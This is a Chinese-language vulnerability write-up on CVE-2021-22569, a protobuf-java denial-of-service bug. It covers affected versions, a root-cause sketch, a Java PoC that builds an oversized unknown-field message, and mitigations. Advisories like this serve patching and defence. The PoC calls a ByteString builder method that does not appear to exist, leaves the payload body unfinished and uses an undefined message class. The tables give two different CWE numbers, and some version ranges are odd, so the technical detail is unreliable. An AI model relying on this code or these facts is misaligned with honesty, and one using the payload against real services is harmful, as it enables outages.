一、漏洞简介¶
1.1 漏洞背景¶
Protocol Buffers (protobuf) 是 Google 开发的数据序列化格式,gRPC 使用 protobuf 作为默认的接口定义语言和消息格式。Java 版本的 protobuf 在解析二进制数据时存在实现弱点,可被用于拒绝服务攻击。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-22569 |
| 危害等级 | HIGH / 7.5 |
| 漏洞类型 | Protobuf Java 解析拒绝服务 |
| 披露时间 | 2022-01-10 |
| 影响组件 | gRPC |
| 属性 | 值 |
|---|---|
| CVE 编号 | CVE-2021-22569 |
| 危害等级 | 高危 (High) |
| CVSS 评分 | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| CWE 编号 | CWE-400 (Uncontrolled Resource Consumption) |
| 影响组件 | protobuf-java |
| GHSA 编号 | GHSA-wrvw-hg22-4m67 |
补充核验信息:公开时间:2022-01-10;NVD 评分:7.5(HIGH);CWE:CWE-696。
二、影响范围¶
2.1 受影响的版本¶
- protobuf-java < 3.16.1
- protobuf-java 3.17.x < 3.18.2
- protobuf-java 3.19.x < 3.19.2
- protobuf-kotlin < 3.18.2 (3.19.x < 3.19.2)
- google-protobuf (JRuby gem) < 3.19.2
2.2 不受影响的版本¶
- protobuf-java >= 3.16.1, >= 3.18.2, >= 3.19.2
- protobuf-kotlin >= 3.18.2, >= 3.19.2
- protobuf "javalite" (Android) 不受影响
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 应用程序使用 protobuf-java 解析不可信的二进制数据
- 攻击者能够向服务发送特制的 protobuf 消息
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
漏洞存在于 protobuf 解析未知字段(unknown fields)的方式中:
- 恶意负载构造:约 800 KB 的特制二进制消息
- 对象创建风暴:解析过程中创建大量短生命周期对象
- GC 压力:频繁的垃圾回收导致 CPU 占用飙升
- 服务阻塞:解析过程可持续数分钟
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞位置:java/core/src/main/java/com/google/protobuf/CodedInputStream.java
问题代码逻辑:
// 解析未知字段时,递归处理嵌套消息
public boolean skipField(final int tag) throws IOException {
switch (WireFormat.getTagWireType(tag)) {
case WireFormat.WIRETYPE_LENGTH_DELIMITED:
// 对于长度分隔的字段,创建大量临时字节数组
final int length = readRawVarint32();
skipRawBytes(length); // 创建临时对象
return true;
case WireFormat.WIRETYPE_START_GROUP:
skipMessage(); // 递归调用
readTag();
return true;
// ...
}
}
攻击向量:
恶意消息结构:
[Field 1: 长度分隔] -> 创建大字节数组
[Field 2: 嵌套组] -> 递归解析
[Field 2.1: 长度分隔] -> 更多临时对象
[Field 2.2: 嵌套组] -> 深度递归
...
修复方案: 1. 限制递归深度 2. 重用缓冲区减少对象分配 3. 添加解析时间和内存使用的安全限制
四、漏洞复现(可选)¶
4.1 环境搭建¶
<!-- pom.xml -->
<dependency>
<groupId>com.google.protobuf</groupId>
<artifactId>protobuf-java</artifactId>
<version>3.16.0</version> <!-- 受影响版本 -->
</dependency>
4.2 PoC 演示与测试过程¶
// PoC 生成恶意 protobuf 消息
import com.google.protobuf.*;
public class MaliciousProtobuf {
public static byte[] generatePayload() {
// 构造包含大量未知字段的恶意消息
// 约 800KB 的特制二进制数据
ByteString.Builder builder = ByteString.newBuilder();
// 添加大量重复的未知字段
for (int i = 0; i < 100000; i++) {
// 使用字段号 > 预定义的最大字段号,成为"未知字段"
builder.appendVarint((i << 3) | 2); // 长度分隔字段
builder.appendVarint(100); // 长度
// 添加数据...
}
return builder.build().toByteArray();
}
public static void main(String[] args) {
byte[] payload = generatePayload();
// 解析时会导致 CPU 和内存飙升
try {
MyMessage.parseFrom(payload);
} catch (InvalidProtocolBufferException e) {
// 解析过程会持续很长时间
}
}
}
观察效果:
# 使用受影响版本运行
java -jar protobuf-test.jar
# 另一终端观察
jstat -gcutil <pid> 1000
# 会看到频繁的 GC 活动
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
| 组件 | 修复版本 |
|---|---|
| protobuf-java | >= 3.16.1 或 >= 3.18.2 或 >= 3.19.2 |
| protobuf-kotlin | >= 3.18.2 或 >= 3.19.2 |
| google-protobuf (JRuby) | >= 3.19.2 |
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
-
限制消息大小:
java CodedInputStream input = CodedInputStream.newInstance(data); input.setSizeLimit(1024 * 1024); // 1MB 限制 -
添加解析超时:
java ExecutorService executor = Executors.newSingleThreadExecutor(); Future<MyMessage> future = executor.submit(() -> MyMessage.parseFrom(data)); try { MyMessage msg = future.get(5, TimeUnit.SECONDS); // 5秒超时 } catch (TimeoutException e) { future.cancel(true); // 处理超时 } -
使用 WAF/网关过滤:
- 限制请求体大小
- 监控异常的解析时间